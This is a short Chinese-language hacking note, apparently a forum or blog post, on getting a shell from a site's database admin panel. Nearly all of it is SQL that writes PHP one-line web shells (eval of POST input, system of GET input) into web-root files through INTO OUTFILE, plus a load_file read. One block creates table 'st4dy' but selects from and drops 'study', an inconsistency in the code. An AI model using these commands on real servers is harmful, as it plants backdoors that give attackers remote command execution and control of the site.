早先是看过JHACKJ后台拿shell的方法:
Create TABLE st4dy (cmd text NOT NULL);
Insert INTO st4dy (cmd) VALUES('<?php eval($_POST[cmd])?>');
select cmd from study into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS study;
Create TABLE `wangzi` (`wangzi` TEXT NOT NULL) TYPE = MYISAM; Insert INTO `wangzi` ( `wangzi` ) VALUES ('<?php @system($_GET[cmd]);?>');
Select `wangzi` FROM `wangzi` INTO OUTFILE 'C:/xampp/htdocs/xampp/cmd.php'; Drop TABLE `wangzi`;
--------------------------------------------------------------------------
而后在国外论坛上看到一老外的方法更简单:
1:select load_file('E:/xamp/www/st4dy.php');
2:select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/st4dy.php'
然后访问网站目录:
3:写一句话: select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/st4dy.php'
第三个是直接在SQL查询里导出一句话,必须要先知道网站的路